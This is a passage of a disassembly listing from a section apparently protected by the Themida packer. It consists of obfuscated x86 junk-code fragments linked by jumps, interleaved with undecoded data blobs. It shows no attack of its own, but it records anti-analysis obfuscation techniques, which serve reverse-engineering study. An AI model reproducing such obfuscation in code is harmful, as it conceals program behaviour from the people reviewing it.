XREF: Themida_:0054FDF8o dd 0EC812404h, 4, 89240C89h, 4AB850E1h, 2552E86Ch, 9C64BF5h dd 38616B25h, 3FC02D1Dh, 0D8F7152Ah, 0E80CEC0Dh, 0F72AE953h dd 0C483FFFFh, 0C8B6602h, 0CC56E924h db 2 dup(0FFh) word_55E6DA dw 8B66h ; DATA XREF: Themida_:0054FCE0o dd 5456240Ch, 5302E95Eh, 0CE010000h, 20EE8159h, 5758A441h dd 23773CBFh, 5FFE3136h, 4EC81h, 4890000h, 22C8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E706: ; CODE XREF: Themida_:005546E3j mov ax, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push esi jmp loc_55A744 ; --------------------------------------------------------------------------- dw 0C483h dd 0F4C78104h, 812D3179h, 67C9FCF7h, 5FFD890Fh, 602EC9BAh dd 5DEA317Eh, 4765BD55h, 0C58171A9h, 3B1A16C7h, 5003EDC1h dd 7F64BA52h, 0E2C120F2h, 9DEA8102h, 89592DEAh, 24148BD0h dd 0D04C483h, 7B550A01h, 15511835h, 53D8F736h, 3661FCBBh dd 2EBC160h, 1862CB81h, 0EB817083h, 4FEE51D0h, 47D6C381h dd 0EB814943h, 40DE4389h, 0F52EEB81h, 0D829195Ch, 5DC9355Bh dd 0C5319845h, 9AED8158h, 1AEC400h, 51565DEAh, 76406CB9h dd 5DC5686Ch, 295E78E5h, 0F20159CEh, 3ABD555Eh, 0E970D76Eh dd 0FFFFAA32h, 3BBFE95Eh, 1BFFFFFh, 0E9000000h, 0FFFF4790h ; --------------------------------------------------------------------------- loc_55E7E0: ; CODE XREF: Themida_:00551B30j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_55549C ; --------------------------------------------------------------------------- loc_55E7EE: ; CODE XREF: Themida_:00559CF9j mov dl, 8Ah and dl, 66h jmp loc_564B85 ; --------------------------------------------------------------------------- dword_55E7F8 dd 6824048Bh, 1F9Eh, 68240489h, 0D97h, 748468h, 48F5400h ; DATA XREF: Themida_:0054FE9Co dd 5E07E924h, 39B9FFFFh, 31784A50h, 8DE959CAh db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E823: ; CODE XREF: Themida_:00555BC8j pop esp loc_55E824: ; CODE XREF: Themida_:loc_553AFAj push ebx xor dword ptr [esp], 6F1474BBh mov eax, [esp] jmp loc_55B0F2 ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 2CADE9h, 0EFE95900h, 80FFFF64h, 0B450FEC3h dd 37E480BEh, 186DE9h, 3C99BD00h, 0E58139A3h, 60883506h dd 0F705EDC1h, 2BC581DDh, 81598B4Ah, 0B70730E5h, 9C5817Bh dd 21C81950h, 242C8BEAh, 4C481h, 0EA810000h, 627C58FDh dd 0E708EA81h, 0D789BE23h, 0F8BA525Ah, 0E95D3767h, 0FFFFF451h dd 66F9F65Ch, 68CCB60Fh, 0B23h, 68240489h, 2EB9h, 24048F54h dd 28B2E9h, 1A836800h, 1C890000h, 4C5BE924h db 2 dup(0FFh) word_55E8C6 dw 148Bh ; DATA XREF: Themida_:0054FDC4o dd 0E666824h, 2C890000h, 0E9E58924h, 0FFFF75DDh ; --------------------------------------------------------------------------- loc_55E8D8: ; CODE XREF: Themida_:0055E383j add esp, 4 push 5367h jmp loc_5570D9 ; --------------------------------------------------------------------------- loc_55E8E8: ; CODE XREF: Themida_:00550890j push 4492h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp loc_55E905: ; CODE XREF: Themida_:0055511Ej ; Themida_:loc_5558D0j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_556D83 ; --------------------------------------------------------------------------- dw 2489h dd 0D9E5E924h, 0EA81FFFFh, 4, 2474FF52h, 4BB6E904h db 2 dup(0FFh) word_55E92E dw 1CF7h ; DATA XREF: Themida_:0054FE2Co dd 16E99C24h, 56FFFF92h, 0FFB6ECE9h, 4BAFFh, 28E90000h dd 29000041h, 6B1305D8h, 8905207Bh, 5307E664h, 56001ABBh dd 176A052Ch, 0D80129EDh, 10F3E9h db 0 ; --------------------------------------------------------------------------- loc_55E965: ; CODE XREF: Themida_:0055CB3Bj sub edx, ebx pop ebx shr edx, 5 push esi mov esi, 229D17Eh jmp loc_552F99 ; --------------------------------------------------------------------------- loc_55E976: ; CODE XREF: Themida_:0055E35Ej and ecx, 2A849F9h xor ecx, 10907FA2h sub ebp, ecx jmp loc_55E24E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aZrsZ db 'ZRéœZ',0 dw 5B00h dd 5C241487h, 5B2434FFh, 8904EC83h, 0D3E9242Ch, 89FFFFC8h dd 6650241Ch, 48BF6657h, 3526E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9B6: ; CODE XREF: Themida_:00557EA0j xchg ecx, [esp] mov esp, [esp] imul cl jmp loc_55F334 ; --------------------------------------------------------------------------- loc_55E9C3: ; CODE XREF: Themida_:0055C9A6j push dword ptr [esp] pop eax push 4B93h mov [esp], esi mov esi, esp push ebp mov ebp, 56C5004Ch jmp loc_565289 ; --------------------------------------------------------------------------- loc_55E9DC: ; CODE XREF: Themida_:00557D84j mov edi, esp add edi, 4 add edi, 4 jmp loc_556D63 ; --------------------------------------------------------------------------- dd 8E15E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E9F2: ; CODE XREF: Themida_:0055EC86j mov ebp, [esp] add esp, 4 xchg edi, [esp] pop esp push edx push 2AAFh mov [esp], edi push 280707BDh mov edi, [esp] add esp, 4 shr edi, 3 shr edi, 5 push ebx jmp loc_5610AF ; --------------------------------------------------------------------------- db 31h dd 4332404h, 34895C24h, 40E95724h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA2F: ; CODE XREF: Themida_:0055B7BEj pop esp jmp loc_553DCC ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FFAD11E9h, 241431FFh, 5C241433h, 9C2404FEh, 0FF14CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA4D: ; CODE XREF: Themida_:00563F6Aj sub ebx, ebp pop ebp push ebx mov edx, [esp] add esp, 4 pop ebx push ecx mov ecx, 70A62CA0h jmp loc_550E85 ; --------------------------------------------------------------------------- loc_55EA63: ; CODE XREF: Themida_:0055F1C8j add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 71527FF8h xor eax, ebp pop ebp sub eax, 382C326Dh sub edx, 6F884B2Ch sub edx, 23AF71EAh sub edx, eax add edx, 23AF71EAh jmp loc_558CC9 ; --------------------------------------------------------------------------- db 55h, 0BDh, 90h dd 0F763C61Bh, 27F581D5h, 0E933C025h, 0FFFF9562h, 0E9243C87h dd 11C5h, 6B78EF81h, 80E91BDFh, 8B000006h, 54532414h, 4C3815Bh dd 51000000h, 4B9h, 59CB0100h, 0E9241C87h, 0FFFFE5C1h dd 5D240CFFh, 428CE581h, 0B850293Dh, 9F7C514h, 0E958C501h dd 5C07h, 24440159h, 24048B04h, 4C481h, 0E95B0000h, 6977h dd 4240483h, 81243C8Bh, 4C4h, 0D5685300h, 8900000Eh, 0D6BA2414h dd 4220961Bh, 796BCA81h, 0BD554350h, 2280650h, 1958CD81h dd 0ED814F92h, 531C0696h, 2CABC581h, 0E58113B9h, 66AA3508h dd 507ED81h, 0EA010002h, 0FFB0A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB55: ; CODE XREF: Themida_:00559117j sub esp, 4 mov [esp], ebp push edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], eax push edi jmp loc_54FF80 ; --------------------------------------------------------------------------- db 56h, 0E9h, 29h dd 83FFFFEFh, 2C8704C5h, 24248B24h, 68C8BE0Fh, 75Fh, 54241489h dd 1267E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB9E: ; CODE XREF: Themida_:0055D407j pop edx push 491h mov [esp], ecx jmp loc_554989 ; --------------------------------------------------------------------------- dd 62F68158h, 297D880Ah, 34E95EF1h, 89000056h, 405E0h dd 0BC680000h, 0E9000019h, 0FFFFBA52h ; --------------------------------------------------------------------------- loc_55EBCC: ; CODE XREF: Themida_:00561E0Fj pop edi add eax, esi add eax, 25F4466h mov esi, [esp] add esp, 4 push 6B11h jmp loc_551DE1 ; --------------------------------------------------------------------------- db 58h dd 5968FB01h, 89000036h, 5AE9240Ch, 21FFFFD1h, 0BB535BD8h dd 13937EBCh, 7EF9EB81h, 0D8015513h, 58C7015Bh, 0FFACC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC11: ; CODE XREF: Themida_:00551201j mov esi, [esp] add esp, 4 push ebx mov ebx, 4 add ecx, 6B99603Eh add ecx, ebx sub ecx, 6B99603Eh jmp loc_55E408 ; --------------------------------------------------------------------------- db 80h dd 0CE8888C1h, 66F48859h, 8324148Bh, 0EA8002C4h, 80E2001Bh dd 0E9581BC2h, 526h, 8B243C33h, 8B662424h, 89512404h, 0A8BA52E1h dd 683F114Bh, 6E88h, 0BE243489h, 52D46C36h, 0FFA15FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC75: ; CODE XREF: Themida_:00560570j mov eax, 7D20446Fh and ecx, eax pop eax add ecx, 17F2DDF5h sub edi, ecx pop ecx jmp loc_55E9F2 ; --------------------------------------------------------------------------- db 1 dd 55F59C8h, 232512EFh, 7697C181h, 0E9811018h, 18715934h dd 0FFB025E9h, 885259FFh, 88C2FEC2h, 0CE97E9D0h, 0EA81FFFFh dd 0FFFFFFFFh, 0FFA4CDE9h, 81CA01FFh, 0A16F38C2h, 99C2816Ah dd 0FF2C701Bh, 0C8B2434h, 710FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECD6: ; CODE XREF: Themida_:0055B904j or edi, 2ED7E6Ch neg edi add edi, 78E816FFh shr edi, 7 sub edi, 1F9F12Ch add eax, edi pop edi jmp loc_55CCD6 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0B850E289h, 3C887E20h, 0FF15B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED05: ; CODE XREF: Themida_:0055C9C9j mov [esp], esi mov esi, edi mov edx, esi pop esi pop edi add edx, edi push ecx push ebp jmp loc_55B2FD ; --------------------------------------------------------------------------- db 81h dd 0F6307DC1h, 81F10106h, 0F6307DE9h, 0E9535706h, 0 dd 78442ABBh, 37F38154h, 834C2C45h, 348904ECh, 380BE24h dd 0EE97582h, 83FFFF6Eh, 248904ECh, 20C4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED52: ; CODE XREF: Themida_:00552C6Cj pop esp jmp loc_55237E ; --------------------------------------------------------------------------- dd 0C80001B1h, 2C5A5966h, 52E8282Ah, 0FF3B6CE9h, 56E955FFh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED6F: ; CODE XREF: Themida_:00561725j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 5AF0h jmp loc_564AEE ; --------------------------------------------------------------------------- db 87h dd 895C2404h, 9968240Ch, 8900003Fh, 0B6522404h, 8851538Dh dd 0C88850F1h, 2897E9h, 5C296600h, 46E90424h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDB3: ; CODE XREF: Themida_:005583AAj sub ecx, 182F6C80h add ebx, ecx pop ecx add ebx, 4 jmp loc_554A5B ; --------------------------------------------------------------------------- loc_55EDC4: ; CODE XREF: Themida_:00554574j push esi mov esi, 46BD4CDCh jmp loc_55BFCA ; --------------------------------------------------------------------------- db 81h dd 7B23B7EBh, 0E9030126h, 0FFFF19A5h dword_55EDDC dd 0E924248Bh, 0FFFF1133h ; DATA XREF: Themida_:0054FCA4o ; --------------------------------------------------------------------------- loc_55EDE4: ; CODE XREF: Themida_:00552E1Cj sub ebp, edx jmp loc_55F40F ; --------------------------------------------------------------------------- db 0F7h dd 0D4BD55D0h, 977296Dh, 0BE95DE8h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDFB: ; CODE XREF: Themida_:00551421j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, 174358E8h sub eax, 1BAE3E1Ch add eax, edi push ebp mov ebp, 1BAE3E1Ch add eax, ebp jmp loc_55F702 ; --------------------------------------------------------------------------- db 29h, 0FEh, 5Fh dd 16D8C681h, 15E958ABh db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE2F: ; CODE XREF: Themida_:0055FC6Bj sub esp, 4 mov [esp], esi push ebx jmp loc_55BA98 ; --------------------------------------------------------------------------- db 1 dd 5904244Ch, 8B2434FFh, 0C483240Ch, 4C48304h, 4BD55h dd 0F1E90000h, 5FFFFFEBh, 2E981h, 0C870000h, 0F6E95C24h dd 5FFFF4Bh, 4, 0FFA4CCE9h, 10A1E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE76: ; CODE XREF: Themida_:0055D37Bj add dword ptr [esp], 74466712h pop eax sub eax, 74466712h mov esi, [esp] add esp, 4 sub eax, 5017F8Bh jmp loc_55D38B ; --------------------------------------------------------------------------- dw 8F54h dd 0BE562404h, 4, 4247401h, 3CC1E9h, 2434FF00h, 0FFC4C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EEB1: ; CODE XREF: Themida_:0055C5E6j sub esi, ebp add esi, 6C1F3EB8h pop ebp or edi, esi jmp loc_5548DE ; --------------------------------------------------------------------------- loc_55EEC1: ; CODE XREF: Themida_:00560A16j and ecx, edi push dword ptr [esp] push dword ptr [esp] pop edi push 60FAh mov [esp], edi push esp pop edi push edx mov edx, 30125D30h sub edx, 4C450763h sub edx, 0E3CD55C9h push ebp mov ebp, 51C72630h add edi, ebp pop ebp jmp loc_557BF0 ; --------------------------------------------------------------------------- dd 0ED12A6B9h, 244C3141h, 240C8B04h, 2DC1E952h db 2 dup(0) word_55EF06 dw 8B66h ; DATA XREF: Themida_:0054FDFCo dd 0DD682404h, 89000029h, 0E189240Ch, 4C181h, 0BF570000h dd 4F1043B1h, 2C17EF81h, 0D7F71872h, 8103EFC1h, 2C3D08F7h dd 5FF92919h, 5C240C87h, 0FFFDB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF3D: ; CODE XREF: Themida_:00552A0Aj shr ebp, 5 push ebx mov ebx, 315A2963h add ebx, 1DBB1946h and ebx, 7CA9446Ah not ebx not ebx neg ebx add ebx, 4C014824h jmp loc_55B127 ; --------------------------------------------------------------------------- loc_55EF63: ; CODE XREF: Themida_:00562DE3j push esp pop ebx jmp loc_558EEE ; --------------------------------------------------------------------------- loc_55EF6A: ; CODE XREF: Themida_:00564BC8j mov edx, [esp] add esp, 4 pop ecx push 5B5Bh mov [esp], ecx mov cl, bl jmp loc_55B045 ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 113EE924h, 0E1810000h, 66CF3F4Ch, 0E98149h dd 814D306Ch, 1C6EEEE9h, 0E4C18174h, 13B72B3h, 8D9AE9C8h dd 1C87FFFFh, 24248B24h, 20B2E9h db 0 ; --------------------------------------------------------------------------- loc_55EFB9: ; CODE XREF: Themida_:00555598j sub ebx, 28441ECDh shr ebx, 2 push edx jmp loc_561DC0 ; --------------------------------------------------------------------------- dd 0B6525A66h, 0A476E951h, 0EB80FFFFh, 5BD800D2h, 0E9D82859h dd 0FFFFCD9Bh ; --------------------------------------------------------------------------- loc_55EFE0: ; CODE XREF: Themida_:0055FA0Bj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 61A21D2Fh xor ebp, 39452801h add ebp, 0A718CAD6h sub ecx, 4114470Ch add ecx, ebp push edx mov edx, 4E7C2860h push ebp mov ebp, 6D0B3E8Fh jmp loc_556CB2 ; --------------------------------------------------------------------------- loc_55F019: ; CODE XREF: Themida_:0055A946j push edx jmp loc_557119 ; --------------------------------------------------------------------------- db 1 aSi3 db 'ß[éˆ3',0 dw 2900h dd 2434FFD3h, 8324148Bh, 895704C4h, 4C781E7h, 52000000h dd 4BAh, 50BDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F046: ; CODE XREF: Themida_:00564850j mov cl, dh pop edx jmp loc_55544A ; --------------------------------------------------------------------------- dw 5558h dd 50BE5BDh, 99ED812Ah, 0E929A2D8h, 0FFFFB493h, 5966CB00h dd 1AD5E953h, 0CD810000h, 16CB6589h, 41DCB850h, 62E95C3Ch dd 83FFFF51h, 2FE904C4h, 8100002Bh, 3D6A40E7h, 9CEF8127h dd 97006C44h, 8197D0F7h, 50449BEFh, 3C51E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F09E: ; CODE XREF: Themida_:0055572Ej pop esp jmp loc_564B68 ; --------------------------------------------------------------------------- loc_55F0A4: ; CODE XREF: Themida_:00557484j not esi jmp loc_55AC6C ; --------------------------------------------------------------------------- loc_55F0AB: ; CODE XREF: Themida_:00558FDCj mov [esp], esi push 20216E5Fh pop esi push esi xchg ebp, [esp] xchg ebx, ebp jmp loc_561E5A ; --------------------------------------------------------------------------- db 50h dd 1A2B72B8h, 2B763516h, 0C601161Ah, 4C68358h, 5C243487h dd 0E924048Fh, 0FFFF99ADh ; --------------------------------------------------------------------------- loc_55F0DC: ; CODE XREF: Themida_:00562F52j add ebp, 4 xchg ebp, [esp] jmp loc_55C4AA ; --------------------------------------------------------------------------- dw 0EC83h dd 0A25AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F0F2: ; CODE XREF: Themida_:0055D433j add edi, eax pop eax sub esp, 4 mov [esp], edi mov edi, 22E64288h sub eax, 14BE27E2h jmp loc_560E2A ; --------------------------------------------------------------------------- aFhcnsR db 'fhCNéÐR',0 dw 8900h dd 0E8E9241Ch, 40000049h, 197BE992h, 0D901FFFFh, 73BDE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F12A: ; CODE XREF: Themida_:00557947j pop esi pop dword ptr [esp] pop esp mov [esp], esi push 7235h mov [esp], ebx jmp loc_55B695 ; --------------------------------------------------------------------------- db 1 dd 243C8BFDh, 4C481h, 10680000h, 0E900005Dh, 5C4Bh, 0E924248Bh dd 0FFFF5855h, 0BEEB815Ah, 0E923CC7Dh, 0FFFF8854h ; --------------------------------------------------------------------------- loc_55F168: ; CODE XREF: Themida_:005525C3j mov ebp, esi jmp loc_558668 ; --------------------------------------------------------------------------- loc_55F16F: ; CODE XREF: Themida_:00554A50j xor eax, ebp jmp loc_556268 ; --------------------------------------------------------------------------- dw 8059h dd 1F04BEC2h, 1F2CD028h, 0E92434FFh, 0FFFF24EBh, 3DB3E956h dd 0C581FFFFh, 0DA9FEB48h, 0E95DE931h, 1661h ; --------------------------------------------------------------------------- loc_55F19C: ; CODE XREF: Themida_:00561523j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sub eax, 14B0126Ah sub edx, 764679EBh add edx, 27A326EDh push eax push 293F2907h mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55EA63 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db '$h"{',0 align 2 aIH_0 db '‰,$h:,',0 align 2 dw 2489h dd 24048124h, 4, 4EC835Dh, 0E9240489h, 0FFFF5558h, 4EC81h dd 0F8E90000h db 35h, 2 dup(0FFh) off_55F1FF dd offset dword_591168 ; DATA XREF: Themida_:0054FCB4o align 4 dd 4EC8151h, 0E9000000h, 5341h, 815AD501h, 3C7D5FEDh, 81DD0114h dd 3C7D5FC5h, 1BED8114h, 8B76D629h, 0C481241Ch, 4, 4EC8157h dd 0E9000000h, 0FFFFD89Eh, 4245C31h, 0E9555E5Bh, 0FFFF132Eh dd 33242C31h, 575C242Ch, 4BFh, 8BFA0100h, 8953243Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 0FFFFA3A1h ; --------------------------------------------------------------------------- loc_55F274: ; CODE XREF: Themida_:005608EBj mov esi, edx pop edx not esi sub esi, 8EDB512Fh sub edi, esi mov esi, [esp] add esp, 4 push dword ptr [esp] jmp loc_559A83 ; --------------------------------------------------------------------------- loc_55F28F: ; CODE XREF: Themida_:00550184j mov ecx, [esp] add esp, 4 dec edi add edi, 66184DB5h xor edi, 8F0AE5E2h jmp loc_561854 ; --------------------------------------------------------------------------- aHN db ']hšn',0 align 10h dd 0E9243C89h, 0FFFFCC3Ah ; --------------------------------------------------------------------------- loc_55F2B8: ; CODE XREF: Themida_:0055BC9Dj push dword ptr [esp] jmp loc_551705 ; --------------------------------------------------------------------------- dd 6F5668h, 243C8900h, 0E9E38953h, 0FFFF5FF6h, 2525ED81h dd 0E901CD3Ah, 56242C8Bh, 0FF2E3DE9h, 0AC80BAFFh, 0F201C5ABh dd 5AD1215Eh, 0F181E9D1h, 49CF159Ah, 0FF8E74E9h, 87048FFFh dd 0FF0C16E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F301: ; CODE XREF: Themida_:00554652j mov esi, eax pop eax and eax, esi push dword ptr [esp] pop esi push ebp push 1DA7h mov [esp], esp add dword ptr [esp], 4 jmp loc_562032 ; --------------------------------------------------------------------------- byte_55F31F db 66h ; DATA XREF: Themida_:0054FD84o dd 8124048Bh, 4ECh, 241C8900h, 0E9E38953h, 1D9Eh ; --------------------------------------------------------------------------- loc_55F334: ; CODE XREF: Themida_:0055E9BEj movzx cx, ah push ebx mov ebx, esp add ebx, 4 jmp loc_56055B ; --------------------------------------------------------------------------- dw 0C483h dd 241C8704h, 0ADE4E95Ch, 0EC83FFFFh, 6291E904h, 0ED81FFFFh dd 65FE7BF7h, 505DEE01h, 0D06AD4B8h, 17473537h, 2D405797h dd 66FF78A1h, 0ACE9D0F7h, 8B000031h, 0C483241Ch, 5BCD0504h dd 0CBE9578Ah, 89FFFFD8h, 7FBA2414h, 0C1393C5Ah, 0F4E905EAh dd 55FFFF37h, 1D72FABDh, 81D5F706h, 0A30EA5E5h, 90F58161h dd 0C1245C14h, 0D5F707E5h, 0FF3564E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F3B9: ; CODE XREF: Themida_:0055AD69j pop edx mov esi, [esp] add esp, 4 add ecx, 5A0D3EC9h push ecx pop esi mov ecx, [esp] add esp, 4 push ecx mov ecx, 713776ABh jmp loc_557F3B ; --------------------------------------------------------------------------- loc_55F3DC: ; CODE XREF: Themida_:0055B184j push dword ptr [eax] mov ecx, [esp] add esp, 4 jmp loc_558BB6 ; --------------------------------------------------------------------------- aQhi db 'Qh›!',0 align 2 dw 3489h dd 5E89BE24h, 0C6812232h, 55283713h, 3E6C14Eh, 1C681h dd 0EEE90000h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F40F: ; CODE XREF: Themida_:0055EDE6j pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebp push ecx mov ecx, 378B25DCh mov ebp, 378B25E0h sub ebp, ecx mov ecx, [esp] add esp, 4 add eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push ebp push ebx mov ebx, 3D320F66h shl ebx, 2 dec ebx not ebx xor ebx, 0B37C26Ah mov ebp, ebx pop ebx sub eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_54FF17 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 54E95504h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F47B: ; CODE XREF: Themida_:00564E9Aj neg edx add edx, 0D96FAE4Eh mov ebp, edx pop edx jmp loc_55283C ; --------------------------------------------------------------------------- loc_55F48B: ; CODE XREF: Themida_:005617F6j push esi mov esi, 38AB3CAAh sub eax, esi pop esi jmp loc_556596 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 aIHx db '‰,$hå)',0 align 4 dd 0FF4CB0E9h, 3CD366FFh, 64E99C24h, 81FFFF0Ah, 323057C6h dd 0FFEE810Eh, 8174EF65h, 9E4C8F6h, 5EF031F9h, 0FF594AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F4CD: ; CODE XREF: Themida_:00561869j shl edx, 7 add edx, 3504106h sub edi, edx pop edx add ebx, edi jmp loc_5526A3 ; --------------------------------------------------------------------------- dd 0C23E981h, 0E1C10A26h, 65E98106h, 0C13EA728h, 0C18108E1h dd 18F5CDCCh, 159CF31h, 0B7E95FF8h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F503: ; CODE XREF: Themida_:00550C29j mov eax, [esp] add esp, 4 jmp loc_55BBBA ; --------------------------------------------------------------------------- dw 3C89h dd 26824h, 3C8B0000h, 0E06BE924h, 5F58FFFFh, 6C31EB81h dd 0D30148CEh, 6C31C381h, 148B48CEh, 4C48124h, 81000000h dd 4C3h, 28D2E900h, 248B0000h, 59BF5724h, 0F75E8767h, 4703E9D7h db 2 dup(0) word_55F552 dw 8B66h ; DATA XREF: Themida_:0054FD90o dd 89512404h, 4EC83E1h, 89243489h, 4C681E6h, 81000000h dd 4EEh, 24348700h, 241C895Ch, 5CC2E9h, 5F545700h, 4BD55h dd 51E90000h, 5DFFFFE6h, 8104EE83h, 4ECh, 24348900h, 42474FFh dd 24048F5Eh, 8924248Bh, 8CB1240Ch, 820B050h, 87E958C1h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F5AF: ; CODE XREF: Themida_:00550BA9j add edx, esi pop esi xor edx, [esp] xor [esp], edx jmp loc_5509AD ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0FF2CA1E9h, 4C083FFh, 5C240487h, 0F4BA5253h, 524F6B1Bh dd 0FFDDC9E9h, 2BE780FFh, 1931E951h, 0C2FE0000h, 807FB151h dd 0CA0082C1h, 26B15159h, 8004E9C0h, 0C980E6C1h, 0B7536637h dd 66F930A0h, 0A9A7E95Bh db 2 dup(0FFh) word_55F606 dw 0FF64h ; DATA XREF: Themida_:0054FD6Co dd 909E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F60E: ; CODE XREF: Themida_:005526B6j mov ebp, edx pop edx and esi, ebp jmp loc_555E29 ; --------------------------------------------------------------------------- dd 4C481h, 0C5810000h, 4, 0FF7FEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F629: ; CODE XREF: Themida_:00559721j push dword ptr [esp] pop esi jmp loc_55839B ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 0E9000000h, 0FFFF78DCh ; --------------------------------------------------------------------------- loc_55F640: ; CODE XREF: Themida_:005527A3j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 1E79h mov [esp], edx push esi push 2D6C43FCh push dword ptr [esp] pop esi add esp, 4 jmp loc_555E4F ; --------------------------------------------------------------------------- dw 0BB53h dd 40DF61E4h, 95BDF29h, 243C8BFAh, 81E18951h, 4C1h, 4C18100h dd 0E9000000h, 4483h ; --------------------------------------------------------------------------- loc_55F68C: ; CODE XREF: Themida_:005618AAj add esp, 4 add ebp, 4A0F4C80h mov eax, ebp pop ebp xchg eax, ecx push ecx not dword ptr [esp] jmp loc_5602B3 ; --------------------------------------------------------------------------- dw 0C29h dd 0D9F75924h, 2445E981h, 0E1C10119h, 0EC18104h, 296E9749h dd 0F58959CEh, 4DE9815Eh, 102F201h, 4DC181E9h, 5D02F201h dd 4EC81h, 0C890000h, 2474FF24h, 240C8B04h, 0E904C483h dd 0FFFFD3EEh, 4F05F829h, 5F7EAA22h, 46209405h, 32282D30h dd 0D801506Ch, 6C322805h, 0E109E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F702: ; CODE XREF: Themida_:0055EE1Cj pop ebp push ebx mov ebx, 174358E8h sub eax, 5DAA2476h sub eax, ebx add eax, 5DAA2476h pop ebx pop edi jmp loc_5554ED ; --------------------------------------------------------------------------- loc_55F71C: ; CODE XREF: Themida_:00556A24j sub bl, 0E9h jmp loc_562B45 ; --------------------------------------------------------------------------- dword_55F724 dd 24048B66h, 2BF568h, 24148900h, 0F068E289h, 8900002Ch ; DATA XREF: Themida_:0054FE64o dd 4B82404h, 0E9000000h, 0FFFFD750h, 8B2434FFh, 0C4832404h dd 0A8E95004h, 0BBFFFFDEh, 4080BC00h, 505BD931h, 8F6539B8h dd 58C20161h, 0FF4675E9h, 0C48159FFh, 4, 3C0168h, 0F999E900h dd 8BAFFFFh, 313FA536h, 0F5895AD6h, 0FFCCE6E9h, 0E7E956FFh dd 81000051h, 65885AC7h, 5FF98997h, 0FFCBE7E9h, 2BEFFh dd 4BE90000h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F7A7: ; CODE XREF: Themida_:005542DAj sub esi, ebx add esi, 7B512879h mov ebx, [esp] add esp, 4 or [edi+1Ch], esi push dword ptr [esp] pop esi jmp loc_55DF61 ; --------------------------------------------------------------------------- db 66h, 59h, 0E9h dd 0FFFF074Fh ; --------------------------------------------------------------------------- loc_55F7C8: ; CODE XREF: Themida_:005552C1j xor [esp], ecx xor ecx, [esp] mov esp, [esp] shr ecx, 7 push 552Ch mov [esp], edx mov edx, esp add edx, 4 push 5FC9h mov [esp], esi push edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 push 2062h mov [esp], ebp mov ebp, 3F521D00h sub edx, ebp push dword ptr [esp] mov ebp, [esp] push ebp jmp loc_551D9B ; --------------------------------------------------------------------------- db 0E9h, 0FDh, 6 dd 0C8BFFFFh, 4C48124h, 0E9000000h, 0FFFFDD0Fh, 5004E2C1h dd 0EC71E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F832: ; CODE XREF: Themida_:00555D4Bj mov edi, 221D536Bh and edi, 